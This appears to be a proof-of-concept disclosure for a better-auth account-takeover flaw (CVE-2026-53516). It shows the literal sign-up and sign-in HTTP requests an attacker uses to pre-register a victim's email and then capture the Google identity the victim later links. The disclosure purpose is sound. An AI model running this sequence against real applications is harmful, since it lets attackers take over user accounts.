CVE-2026-53516: better-auth OAuth Auto-Link Account Takeover via Unverified Email

# Step 1: attacker pre-registers victim@example.com (no email verification required)
POST /api/auth/sign-up/email HTTP/1.1
Host: target-app.example
Content-Type: application/json

{"email": "victim@example.com", "password": "attacker-chosen-password", "name": "Attacker"}

# => 200 OK. Row created with emailVerified: false.
# Attacker now waits.

# Step 2: victim visits target-app and clicks "Sign in with Google"
# Google OAuth callback fires; IdP asserts email_verified: true for victim@example.com
# better-auth looks up the email, finds the attacker's row, passes the provider-trust
# check (emailVerified on the LOCAL row is never read), and links the victim's
# Google identity to the attacker's account. emailVerified on the attacker's row
# is flipped to true as a post-link side effect.

# Step 3: attacker signs in with the pre-registered password
POST /api/auth/sign-in/email HTTP/1.1
Host: target-app.example
Content-Type: application/json

{"email": "victim@example.com", "password": "attacker-chosen-password"}

# => 200 OK + session cookie. Attacker now controls the victim's account.